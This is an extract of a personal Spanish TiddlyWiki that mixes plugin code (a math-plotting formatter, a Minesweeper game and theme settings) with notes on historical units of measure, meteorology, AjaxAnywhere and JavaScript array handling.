lim=getScales(options.scales);lim[2]=lim[2]||SVG.ymin;lim[3]=lim[3]||SVG.ymax;var list1=[],label1=[];start=orig[0]+dx;stop=lim[1]-0.25*dx;for(x=start;x<stop;x+=dx){list1.push([x,orig[1]]);label1.push(String(x.toFixed(ddx)))}list1.push([lim[1],orig[1]]);label1.push("");var list2=[],label2=[];start=orig[0]-dx;stop=lim[0]+0.25*dx;for(x=start;x>stop;x-=dx){list2.push([x,orig[1]]);label2.push(String(x.toFixed(ddx)))}list2.push([lim[0],orig[1]]);label2.push("");list2.reverse();list2=list2.concat(list1);if(options.ticklabels!=false){label2.reverse();options.label=label2.concat(label1);options.pos=(SVG.height-origin[1]>2*fontsize)?"S":"N"}var group=getSVGElement("Axes","g");$(group.node).empty();var tempNode=SVG.canvas;SVG.canvas=group.node;path(list2,options);list1=[],label1=[];start=orig[1]+dy;stop=lim[3]-0.25*dy;for(y=start;y<stop;y+=dy){list1.push([orig[0],y]);label1.push(String(y.toFixed(ddy)))}list1.push([orig[0],lim[3]]);label1.push("");list2=[];label2=[];start=orig[1]-dy;stop=lim[2]+0.25*dy;for(y=start;y>stop;y-=dy){list2.push([orig[0],y]);label2.push(String(y.toFixed(ddy)))}list2.push([orig[0],lim[2]]);label2.push("");list2.reverse();list2=list2.concat(list1);if(options.ticklabels!=false){label2.reverse();options.label=label2.concat(label1);options.pos=(origin[0]>2*fontsize)?"W":"E"}options.stroke=options.markerstroke;path(list2,options);SVG.canvas=tempNode;appendSVG(group)}function list(fun,tmin,tmax,options){var inc=(tmax-tmin)/getOptions("points",options);if(inc<=0||fun.length==0){return}var t,pth,g=[],xt,yt;for(t=1;t>=0;t--){if($.isFunction(fun[t])){g[t]=fun[t]}else{if(typeof fun[t]=="string"){with(Math){eval("g["+t+"] = function(x){return "+fun[t]+"}")}}else{return}}}if(g.length<2){return}pth=[];for(t=tmin;t<=tmax;t+=inc){xt=g[0](t);yt=g[1](t);if(isFinite(xt)&&isFinite(yt)){pth[pth.length]=[xt,yt]}}return pth}function plot(fun,options){options=options||{};var i,steps=options.steps||[];if(steps.length===0){plotter(fun,options)}else{var leftMarkers=options.leftMarkers||"-";var rightMarkers=options.rightMarkers||"-";var n_steps=steps.length-1;options.max=steps[0];options.marker="--"+leftMarkers.charAt(0);plotter(fun,options);for(i=0;i<n_steps;i++){options.max=steps[i+1];options.min=steps[i];options.marker=rightMarkers.charAt((rightMarkers.length>i)?i:0)+"-"+leftMarkers.charAt((leftMarkers.length>i+1)?i+1:0);plotter(fun,options)}options.max=null;options.min=steps[n_steps];options.marker=rightMarkers.charAt((rightMarkers.length==n_steps)?n_steps-1:0)+"--";plotter(fun,options)}}function plotter(fun,options){options=options||{};options.closed=false;options.curve="";var xmin=(options.min==null)?SVG.xmin:options.min;var xmax=(options.max==null)?SVG.xmax:options.max;var pth=list(["x",fun],xmin,xmax,options);if(pth){path(pth,options)}}function area(fun1,fun2,options){options=options||{};options.curve="";options.closed=true;var xmin=(options.min==null)?SVG.xmin:options.min;var xmax=(options.max==null)?SVG.xmax:options.max;var pth1=list(["x",fun1],xmin,xmax,options);var pth2=list(["x",fun2],xmin,xmax,options);if(pth1&&pth2){pth2.reverse();pth1=pth1.concat(pth2);path(pth1,options)}}function polarPlot(fun,options){var g1,g2;if(typeof fun=="string"){with(Math){eval("g1 = function(x){return ("+fun+")*cos(x)}");eval("g2 = function(x){return ("+fun+")*sin(x)}")}}else{if($.isFunction(fun)){with(Math){eval("g1 = function(x){return fun(x)*cos(x)}");eval("g2 = function(x){return fun(x)*sin(x)}")}}}parametricPlot(g1,g2,options)}function parametricPlot(fun1,fun2,options){options=options||{};options.closed=false;options.curve="";var xmin=(options.min==null)?0:options.min;var xmax=(options.max==null)?2*Math.PI:options.max;var pth=list([fun1,fun2],xmin,xmax,options);if(pth){path(pth,options)}}function slopeField(fun,options){options=options||{};var g=fun;if(typeof fun=="string"){with(Math){eval("g = function(x,y){return "+fun+"}")}}var gxy,x,y,u,v,dz;var dx=(options.dx==null)?1:options.dx;var dy=(options.dy==null)?1:options.dy;dz=Math.sqrt(dx*dx+dy*dy)/6;var xmin=Math.ceil(SVG.xmin/dx);var ymin=Math.ceil(SVG.ymin/dy);for(x=xmin;x<=SVG.xmax;x+=dx){for(y=ymin;y<=SVG.ymax;y+=dy){gxy=g(x,y);if(!isNaN(gxy)){if(Math.abs(gxy)=="Infinity"){u=0;v=dz}else{u=dz/Math.sqrt(1+gxy*gxy);v=gxy*u}line([x-u,y-v],[x+u,y+v],options)}}}}return{dynamic:{},removePictures:function(obj){var pictures=obj?[obj]:$(".svgGraph");$(pictures).each(function(){var target=this.parentNode;$(this).remove();$(target).css({color:"red",background:"yellow"});$(target).text("Missing picture: your browser does not support inline SVG");window.setTimeout(function(){$(target).remove()},10000)})},drawPictures:function(obj){var options,xmin,xmax,ymin,ymax;var pictures=obj?[obj]:$(".svgGraph");$(pictures).each(function(){SVG=new pictureObject();options=this.getAttribute("options");if(options!=""){with(Math){eval("options="+options)}setOptions(options)}else{options={}}SVG.pos=options.pos||SVG.pos;if(SVG.pos=="inline"){$(this).wrap("<span></span>")}else{$(this).wrap("<div></div>")}SVG.width=options.width||SVG.width;SVG.height=options.height||SVG.height;SVG.coords=options.coords||SVG.coords;SVG.border=options.borderwidth||SVG.border;var borderstroke=options.borderstroke||"black";var borderstyle=options.borderstyle||"solid";if(options.pan==false){SVG.pan=false}SVG.src=this.getAttribute("script");var container=this.parentNode;switch(SVG.pos){case"left":$(container).css("float","left");break;case"right":$(container).css("float","right");break;case"center":$(container).css("margin","auto auto")}$(container).css("border",SVG.border+"px "+borderstyle+" "+borderstroke);container.removeChild(this);var scales=getScales(options.scales);SVG.xmin=scales[0];SVG.xmax=scales[1];SVG.ymin=scales[2];SVG.ymax=scales[3];if(SVG.xmin>=SVG.xmax){throw"Incorrect values: xmax<=xmin."}var xunitlength=SVG.width/(SVG.xmax-SVG.xmin);if(typeof SVG.ymin!="number"){SVG.ymin=-SVG.height/(2*xunitlength);SVG.ymax=-SVG.ymin}else{if(SVG.ymin>=SVG.ymax){throw"Incorrect values: ymax<=ymin."}}setScales();SVG.id=Math.randomString(16);var qnode=createSVGElement("svg");qnode.id=SVG.id;qnode.setAttribute("xmlns","http://www.w3.org/2000/svg");var node=createSVGElement("clipPath");node.id=SVG.id+"ClipPath";var node2=createSVGElement("path");$(node).append(node2);node2=createSVGElement("defs");node2.id=SVG.id+"_Defs";$(node2).append(node);$(qnode).append(node2);node=createSVGElement("rect");node.setAttribute("class","svgBackground");node.setAttribute("x","0");node.setAttribute("y","0");node.setAttribute("width","100%");node.setAttribute("height","100%");node.setAttribute("fill",SVG.attr.backgroundcolor);node.setAttribute("fill-opacity",SVG.attr.backgroundopacity);$(qnode).append(node);node=createSVGElement("g");node.id=SVG.id+"Canvas";node.setAttribute("clip-path","url(#"+SVG.id+"ClipPath)");SVG.canvas=node;$(qnode).append(node);if(SVG.coords!="none"&&SVG.pos!="inline"){node=createSVGElement("text");node.id=SVG.id+"Coords";node.setAttribute("class","svgCoords");node.setAttribute("text-anchor","end");node.setAttribute("font-size",(SVG.attr.fontsize*0.8));$(qnode).append(node)}$(container).append(qnode);container.style.position="relative";node=MSVG.createElementXHTML("span",SVG.id+"mml");$(container).append(node);if(SVG.pos!="inline"){node=MSVG.createElementXHTML("span",SVG.id+"toolbar");node.style.position="absolute";node.style.textAlign="left";node.style.zIndex=10;node2=setButton("Update","Edit script",function(){updateButton(this)});$(node).append(node2);node2=setButton("SVG","View SVG code",function(){exportSVG(this)});$(node).append(node2);node2=setButton("-","Zoom out",function(){changeScales(1.25)});$(node).append(node2);node2=setButton("+","Zoom in",function(){changeScales(0.8)});$(node).append(node2);node2=setButton("\u2191","Enlarge picture",function(){changeSize(0.8)});$(node).append(node2);node2=setButton("\u2193","Reduce picture",function(){changeSize(1.25)});$(node).append(node2);$(node).append("<br />");node2=MSVG.createElementXHTML("textarea",SVG.id+"src");$(node2).attr({rows:8,cols:80});$(node).append(node2);$(node).hide();$(container).append(node);setAction("mousemove",updateCoord);setAction("mouseout",removeCoord);setAction("mousedown",onClick);if(SVG.pan){setAction("mouseup",onDrop)}if(window.addEventListener){var evt=$.browser.mozilla?"DOMMouseScroll":"mousewheel";qnode.addEventListener(evt,onWheel,false)}}setAction("mouseover",switchTo);setSize();translateAndEval(SVG.id)})}}}(jQuery);
//}}}
/***
!~TiddlyWiki formatters
***/
//{{{
if(!version.extensions.MathSVGPlugin) { //# ensure that the plugin is only installed once
version.extensions.MathSVGPlugin = {installed: true};
MSVG.generic();
config.formatterHelpers.MathSVGHelper = function(w) {
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch){
var eq = MSVG.parseMath(lookaheadMatch[1],this.displaystyle);
if(this.displaystyle){
var node = createTiddlyElement(w.output,"div");
node.style.textAlign='center';
node.appendChild(eq);
w.output.appendChild(node);
} else {w.output.appendChild(eq);}
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
}
}
config.formatters.push( {
name: "clatex",
match: "\\$\\$",
lookaheadRegExp: /\$\$((?:.|\n)*?)\$\$/mg,
displaystyle: true,
handler: config.formatterHelpers.MathSVGHelper
})
config.formatters.push( {
name: "clatex2",
match: "\\\\\\\[",
lookaheadRegExp: /\\\[\s*(.*?)\s*\\\]/mg,
displaystyle: true,
handler: config.formatterHelpers.MathSVGHelper
})
config.formatters.push( {
name: "latex",
match: "\\$",
lookaheadRegExp: /\$((?:.|\n)*?)\$/mg,
displaystyle: false,
handler: config.formatterHelpers.MathSVGHelper
})
config.formatters.push( {
name: "graph",
match: "\\(:graph",
lookaheadRegExp: /\(:graph(?:\((\{.+?\})?\))?[\s]+((?:.|\n)*?)[\s]+:\)/mg,
handler: function(w){
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch){
var svg = createTiddlyElement(w.output,"embed");
svg.className="svgGraph";
svg.setAttribute('options',lookaheadMatch[1]||"");
svg.setAttribute('script',lookaheadMatch[2]);
ASVG.drawPictures(svg);
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
}
}
})
}
//}}}
/***
The script should not be edited. All available options can be set by the following variables:
***/
//{{{
//MSVG.showFormulaOnMouseOver = false; //show LaTeX code on mouse over the equation
//MSVG.latexImages = false; //set to true to force the use of an external converter
//MSVG.latexConverter = "http://www.yourequations.com/eq.latex?"; //link to external converter
//MSVG.mathColor = "green"; //font color
//MSVG.mathFontSize = ""; //font size
//MSVG.mathFontFamily = ""; //font family
//}}}
/***
New symbols or commands can be defined here:
***/
//{{{
var commands = ["nle","R","diagup","varnothing","ind","DD"];
var symbols = ["\u2270","\u211D","\u2571","\u2205","\u2AEB","\\frac{d}{dr}"];
MSVG.define(commands,symbols);
//}}}
!Mundo viejuno
!!Medidas egipcias:
* ''Codo real:'' 53 cm (desde el codo hasta la punta de los dedos extendidos)
* ''Djebas (digito):'' 1.9cm (1/28 codos reales ó un dedo de ancho)
* ''Shesep: (palmo)'' 7.6cm (4 djebas ó el ancho de una palma ó 1/7 codos reales)
* ''Codo corto:'' 46 cm (6 djebas)
* ''Khet (vara):'' 53m (100 varas reales)
* ''Iteru (río)'': 10.5Km (20000 codos reales ó 200 varas)
!! Medidas griegas
Usaban como base el codo corto egipcio
* ''Codo corto egipcio (codo):'' 46cm
* ''Daktyloi (dígito):'' 1.9cm (1/24 codos)
* ''Pie:'' 30cm(16 dígitos)
!! Medidas romanas
Usaban como base las medidas griegas
* ''Unciae (pulgada):'' 2.5cm (1/12 pies)
* ''Paso:'' 1.5m (5 piés)
* ''Mille (milla):'' 1500m(1000 pasos)
* '' :''
* '' :''
* '' :''
* '' :''
* '' :''
* '' :''
* '' :''
* ''Legua:''
** //Legua francesa:// 4.4km
** //Legua de posta:// 4km
** //Legua marina:// 5,555 km (equivalentes a 1/20 parte de un grado)
! Más información
* http://www.proyectosalonhogar.com/enciclopedia_ilustrada/matematicas/medidas.htm
* http://usuarios.lycos.es/losguarros/igea/medidas/index.html
* http://www.slideshare.net/guest187f22/unidades-de-medida-presentation-803366
!Descripción
Apuntes sobre meteorología y climatografía.
!Apuntes rápidos
* El punto de rocío (dew point) es la temperatura a la que condensa el vapor de agua, para una temperatura ambiente y una humedad relativa dadas. Fórmula:
$$Pr=\sqrt[8]{H \over 100} \cdot \lbrack 110+T \rbrack -100$$
!Enlaces interesantes
* wunderground Zaragoza: http://www.wunderground.com/global/stations/08160.html
* wunderground móvil: http://m.wund.com/global/stations/08160.html
* Meteored, previsión: http://tiempo.meteored.com/prediccion_para-Zaragoza-Zaragoza-Espana-Europa-LEZG.html
* Meteored, actual: http://www.meteored.com/situacion_actual/situacion-actual-en-zaragoza-LEZG.html
* Meteored, API de XML: http://wiki.wunderground.com/index.php/API_-_XML
* Punto de rocío (dew point): http://es.wikipedia.org/wiki/Punto_de_roc%C3%ADo
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre métodos y algoritmos de programación.
!Apuntes rápidos
*
!Enlaces interesantes
* ''MapReduce:''
** http://en.wikipedia.org/wiki/MapReduce
** http://labs.google.com/papers/mapreduce.html
** http://www.linux-mag.com/cache/7407/1.html
* Introducción a los algoritmos (MIT): http://www.catonmat.net/blog/mit-introduction-to-algorithms-part-one
* Calcular PI: http://en.wikipedia.org/wiki/Computing_%CF%80
* Ténicas de raytracing: http://en.wikipedia.org/wiki/Ray_tracing_%28graphics%29
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|''Name:''|Minesweeper|
|''Version:''|0.72 (12 Oct 2005)|
|''Source:''|Tiddly W;nks (http://www.bur.st/~blazeoz/tiddlywinks/ http://danielbaird.com/tiddlywinks/)|
|''Author:''|[[Daniel Baird]]|
|''Type:''|Macro|
!Description
It's minesweeper!
!Syntax/Example usage
{{{<<minesweeper>>}}} or {{{<<minesweeper [width] [height] [bombs]>>}}}
<<minesweeper>>
!Notes
* Let me know if you want graphics, or that MSWindows Minesweeper thing where you can click with both buttons on a numbered square, and it does the thinking for you..
!Revision History
* 0.5.0 (2-Oct-05)
** original version (Daniel)
* 0.5.1 (3-Oct-05)
** added the css styles via set~StyleSheet (Simon)
* 0.5.2 (3-Oct-05)
** added parameters to macro and fixed bug preventing detection of win (Simon)
* 0.6 (5-Oct-05)
** Fixed the problem with multiple games on screen at once.
** Cleaned up the JavaScript warning generated when you clicked anywhere but on a square.
* 0.7 (6-Oct-05)
** Integrated sweet additions from Genesis_mage (genisis329 at gmail dot com) that:
*** allows winning by having all non-mines clicked (without having to mark every mine)
*** added a mark button to mark and unmark mines without the keyboard
** Win time now shows tenths of a second.
* 0.71 (10-Oct-05)
** tweaked a style to make the mark button work better in IE
* 0.72 (12-Oct-05)
** worked out how to use a closure as a event handler, which means that the code added in 0.6 could be made a lot simpler.
***/
/*{{{*/
version.extensions.minesweeper = {major: 0, minor: 7, revision: 2};
config.macros.minesweeper = {};
config.macros.minesweeper.handler = function(place,macroName,params) {
var width = params[0];
var height = params[1];
var bombs = params[2];
if (width == undefined) width = 9;
if (height == undefined) height = width;
if (bombs == undefined) bombs = Math.round(width * height / 8)
if (bombs > width * height) bombs = width * height;
var aGame = new MinesweeperGame();
createTiddlyElement(place,'div',aGame.id,null,'If you see this, Minesweeper is broken. Let Daniel know (DanielBaird at gmail dot com).');
aGame.newGame(width, height, bombs);
}
// =======================================================================
function MinesweeperGame() {
this.idprefix = 'mines';
this.version = '0.72 beta';
this.id = this.idprefix + MinesweeperGame.prototype.nextid;
MinesweeperGame.prototype.nextid++;
return this;
}
// -----------------------------------------------------------------------
MinesweeperGame.prototype.nextid = 0;
// -----------------------------------------------------------------------
MinesweeperGame.prototype.newGame = function(height, width, mines) {
this.height = height;
this.width = width;
this.mines = mines;
this.total = height * width;
this.markMode = false;
this.startGame();
}
// -----------------------------------------------------------------------
MinesweeperGame.prototype.startGame = function() {
this.gamestate = 'ready';
this.clicks = 0;
this.marks = 0;
this.message = 'click on the board to begin';
this.starttime = null;
this.wintime = null;
this.board = new Array();
// create the squares
for (var x = 0; x < this.height; x++) {
var row = new Array();
for (var y = 0; y < this.width; y++) {
row.push( {count: 0, mine: false, clicked: false, marked: false} );
}
this.board.push(row);
}
// add mines
for (var m = 0; m < this.mines; m++) {
var mx = Math.round((this.height-1)*Math.random());
var my = Math.round((this.width-1)*Math.random());
if (this.board[mx][my].mine) {
m--;
} else {
this.board[mx][my].mine = true;
}
}
// work out counts
for (var cx = 0; cx < this.height; cx++) {
for (var cy = 0; cy < this.width; cy++) {
var count = 0;
for (var dx = -1; dx < 2; dx++) {
for (var dy = -1; dy < 2; dy++) {
var nx = cx + dx;
var ny = cy + dy;
if ( (!(dx==0 && dy==0))
&& (nx >= 0) && (nx < this.height)
&& (ny >= 0) && (ny < this.width)
&& this.board[nx][ny].mine) {
count++;
}
}
}
this.board[cx][cy].count = count;
}
}
this.showBoard();
}
// -----------------------------------------------------------------------
MinesweeperGame.prototype.showBoard = function() {
var node = document.getElementById(this.id);
var html = new Array();
html.push('<table class="minefield" cellspacing="2">');
html.push('<tr><td class="info" colspan="'+this.width+'">');
html.push('Minesweeper '+this.version+'<br /><b>'+this.gamestate+'</b>');
if (this.gamestate == 'playing') {
this.message = (this.mines - this.marks)+' mines unmarked';
}
html.push('</td></tr>');
for (var x = 0; x < this.height; x++) {
html.push('<tr>');
for (var y = 0; y < this.width; y++) {
html.push( this.makeSquare(x,y) );
}
html.push('</tr>');
}
var cls = 'un';
if (this.markMode) cls = '';
html.push('<tr><td id="'+this.id+'_markbtn" class="'+cls+'clicked widebtn" colspan="'+this.width+'">mark / unmark mines</td></tr>');
html.push('<tr><td class="info" colspan="'+this.width+'">'+this.message);
html.push('<small>');
html.push('<br /><span class="minesweeper' + cls + 'show">ctrl- shift- or alt-</span>click to reveal a square');
html.push('<br /><span class="minesweeper' + cls + 'hide">ctrl- shift- or alt-</span>click to mark a mine');
html.push('</small>');
html.push('</td></tr>');
html.push('</table>');
node.innerHTML = html.join('');
node.onclick = this.getClickHandler();
}
// -----------------------------------------------------------------------
MinesweeperGame.prototype.makeSquare = function(x,y) {
var sq = this.board[x][y];
var reveal = (this.gamestate != 'playing' && this.gamestate != 'ready');
var html = new Array();
if (sq.clicked) {
html.push('<td class="clicked" id="'+this.id+'_x-'+x+'_y-'+y+'">');
if (!sq.marked && reveal && sq.mine) {
html.push('B!');
} else if (!sq.marked && reveal && sq.mine) {
html.push('B!');
} else if (sq.count > 0){
html.push(sq.count);
} else {
html.push(' ');
}
} else {
html.push('<td class="unclicked" id="'+this.id+'_x-'+x+'_y-'+y+'">');
if (sq.marked && !reveal) {
html.push('B?');
} else if (sq.marked && sq.mine && reveal) {
html.push('B');
} else if (sq.marked && !sq.mine && reveal) {
html.push('X');
} else if (sq.mine && reveal) {
html.push('B!');
} else {
html.push(' ');
}
}
html.push('</td>');
return html.join('');
}
// -------------------------------------------------------------------
MinesweeperGame.prototype.clickSquare = function(cx,cy,modifier) {
if (this.gamestate == 'ready') {
this.starttime = new Date();
this.gamestate = 'playing';
}
if (this.gamestate == 'playing') {
if (!this.board[cx][cy].clicked) {
if ( (modifier && !this.markMode) || (!modifier && this.markMode) ) {
if (this.board[cx][cy].marked) {
this.marks--;
this.board[cx][cy].marked = false;
} else {
this.marks++;
this.board[cx][cy].marked = true;
}
} else if (!this.board[cx][cy].clicked && !this.board[cx][cy].marked) {
this.revealSquare(cx,cy);
}
this.markMode = false;
}
this.checkWin();
this.showBoard();
} else {
// clicked when we're not playing..
this.startGame();
}
}
// -------------------------------------------------------------------
MinesweeperGame.prototype.revealSquare = function(x,y) {
if (this.board[x][y].clicked == false && this.board[x][y].marked == false) {
this.board[x][y].clicked = true;
this.clicks++;
if (this.board[x][y].mine) {
this.gamestate = 'boom!';
this.message = 'click board to play again';
} else if (this.board[x][y].count == 0) {
// if it's a zero, we might have to reveal some other squares..
for (var dx = -1; dx < 2; dx++) {
for (var dy = -1; dy < 2; dy++) {
var nx = x + dx;
var ny = y + dy;
if ( (!(dx==0 && dy==0)) && (nx >= 0) && (nx < this.height) && (ny >= 0) && (ny < this.width) ) {
this.revealSquare(nx,ny);
}
}
}
}
}
}
// -------------------------------------------------------------------
MinesweeperGame.prototype.handleClick = function(e) {
// work out which cell was clicked
if (!e) var e = window.event;
var str = resolveTarget(e).id;
if (str && str != undefined) {
if (str == this.id + '_markbtn') {
this.markMode = !this.markMode;
this.showBoard();
} else {
var cx = parseInt(str.substr( str.indexOf('x-')+2 ));
var cy = parseInt(str.substr( str.indexOf('y-')+2 ));
if ( !isNaN(cx) && !isNaN(cy) ) {
this.clickSquare(cx,cy,(e.altKey || e.shiftKey || e.ctrlKey));
}
}
}
}
// -------------------------------------------------------------------
MinesweeperGame.prototype.getClickHandler = function() {
var thisGame = this;
return function(e) {
thisGame.handleClick(e);
}
}
// -------------------------------------------------------------------
MinesweeperGame.prototype.checkWin = function() {
if (this.clicks == this.total - this.mines && this.gamestate !='boom!') {
this.gamestate = 'win';
this.wintime = new Date();
this.message = 'You won in '+Math.round(((this.wintime - this.starttime)/100))/10+' seconds';
this.message = this.message + '<br />click board to play again';
}
}
// -----------------------------------------------------------------------
setStylesheet(
".viewer .minefield { "+
"background: #ddd; "+
"border: double 3px black; "+
"border-collapse: separate; "+
"border-spacing: 2px; "+
"} \n"+
".viewer .minefield td { "+
"cursor: default; "+
"width: 1.3em; "+
"height: 1.1em; "+
"text-align: center; "+
"vertical-align: center; "+
"background: #ddd; "+
"border: 1px solid #ccc; "+
"} \n"+
".viewer .minefield td.info, .viewer .minefield td.widebtn { "+
"width: auto; "+
"} \n"+
".minesweeperhide, .minesweeperunshow { "+
"display: none; "+
"} \n"+
".viewer .minefield td.unclicked { "+
"cursor: pointer; "+
"border-color: #fff; "+
"border-right-color: #999; "+
"border-bottom-color: #999; "+
"} \n"+
"",
"MinesweeperGame");
/*}}}*/
! ¿Qué es AjaxAnywhere?
Es una librería [[J2EE]] que permite automatizar el uso de Ajax. Mediante etiquetas personalizadas se marcan "zonas actualizables" dentro de un JSP. Cuando llegue la respuesta del servidor se actualizarán sólo esas zonas en vez de la página completa.
! ¿De donde se puede descargar?
De aquí http://ajaxanywhere.sourceforge.net/
! Introducir AjaxAnywhere en un JSP, paso por paso
* Incluir las cabeceras con el JSP de utilidades y las etiquetas personalizadas:
{{{
<%@ page import="org.ajaxanywhere.AAUtils"%>
<%@ taglib uri="http://ajaxanywhere.sourceforge.net/" prefix="aa" %>
}}}
* Marcar las zonas actualizables:
{{{
<aa:zone name="nombreZona">
<%--
CÓDIGO DEL JSP AQUÍ
Normalmente serán formularios.
--%>
</aa:zone>
}}}
* Introducir en las funciones javascript que hagan commit lo siguiente:
{{{
function enviar() {
ajaxAnywhere.getZonesToReload = function() { return "nombreZona"; }
ajaxAnywhere.submitAJAX();
}}}
! Tutorial de verdad
Si quieres un tutorial decente, mira este: http://ajaxanywhere.sourceforge.net/quickStart.html
! Resolución de problemas habituales
!! Fallo al hacer sorting en displaytag en una zone ajaxanywhere
Añadir {{{excludedParams="aaxmlrequest"}}} en la declaración {{{<display:table />}}}
!Descripción
Apuntes sobre artículos que no caben en otras categorías
!Apuntes rápidos
*
!Enlaces interesantes
* Mentiras sobre suelo y vivienda. Diez típicas falacias sobre el suelo y la vivienda: http://habitat.aq.upm.es/boletin/n29/afmar.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre cosas diversas relacionadas con la ciencia y la investigación.
!Apuntes rápidos
*
!Enlaces interesantes
* Como hacer cosas: http://www.comohacer.eu/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre cosas diversas de ingeniería, técnica y tecnología.
!Apuntes rápidos
*
!Enlaces interesantes
* http://es.wikipedia.org/wiki/Factor_de_Kell
* Instructables: http://www.instructables.com
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Eliminación de elementos de un array
Para eliminar un elemento de un array se utiliza el método {{{array.splice(index, 1)}}}. Este método es muy versatil y acepta más parámetros, pero esta es la forma de utilizarlo para eliminar un elemento.
El problema es cuando se quieren eliminar varios elementos del array usando un bucle. En cuanto se elimina un elemento, se modifican los índices del array. Para minimizar este efecto, el bucle debe hacerse **al revés**, empezando por el último elemento y terminando por el primero. La razón es que al eliminar un elemento del array, se desplazan los índices de todos los elementos a la derecha del eliminado, para no dejar un hueco en el array. Si el array se recorre de derecha a izquierda (de último a primero), se modificarán los índices de los elementos que ya se han comprobado, por lo que no producirá efectos molestos. Aquí un ejemplo de como debería hacerse (aunque, en este caso, la alteración de los índices no produciría efectos laterales):
<script label="Probar" show>
var array = new Array(1,2,3,4,5,6);
for(var i = array.length-1; i >= 0; i--) {
if(array[i] % 2 == 0) {
array.splice(i,1);
}
}
alert("Original: "+new Array(1,2,3,4,5,6)+"\nModificado: "+array);
</script>
Este ejemplo eliminará correctamente los números pares.
! Para más información
* Página principal: http://www.jboss.org/drools/
* Tutorial de introducción: http://www.dosideas.com/java/592-primeros-pasos-con-drools.html
* DSL con Drools: http://www.dosideas.com/java/607-utilizando-un-dsl-con-drools.html
* Reglas en un excel: http://www.dosideas.com/java/637-como-usar-drools-con-una-planilla-de-calculo.html
Name: MptwBlack
Background: #000
Foreground: #fff
PrimaryPale: #333
PrimaryLight: #555
PrimaryMid: #888
PrimaryDark: #aaa
SecondaryPale: #111
SecondaryLight: #222
SecondaryMid: #555
SecondaryDark: #888
TertiaryPale: #222
TertiaryLight: #666
TertiaryMid: #888
TertiaryDark: #aaa
Error: #300
This is in progress. Help appreciated.
Name: MptwBlue
Background: #fff
Foreground: #000
PrimaryPale: #cdf
PrimaryLight: #57c
PrimaryMid: #114
PrimaryDark: #012
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/***
|Name:|MptwConfigPlugin|
|Description:|Miscellaneous tweaks used by MPTW|
|Version:|1.0 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#MptwConfigPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#MptwConfigPlugin|
!!Note: instead of editing this you should put overrides in MptwUserConfigPlugin
***/
//{{{
var originalReadOnly = readOnly;
var originalShowBackstage = showBackstage;
config.options.chkHttpReadOnly = false; // means web visitors can experiment with your site by clicking edit
readOnly = false; // needed because the above doesn't work any more post 2.1 (??)
showBackstage = true; // show backstage for same reason
config.options.chkInsertTabs = true; // tab inserts a tab when editing a tiddler
config.views.wikified.defaultText = ""; // don't need message when a tiddler doesn't exist
config.views.editor.defaultText = ""; // don't need message when creating a new tiddler
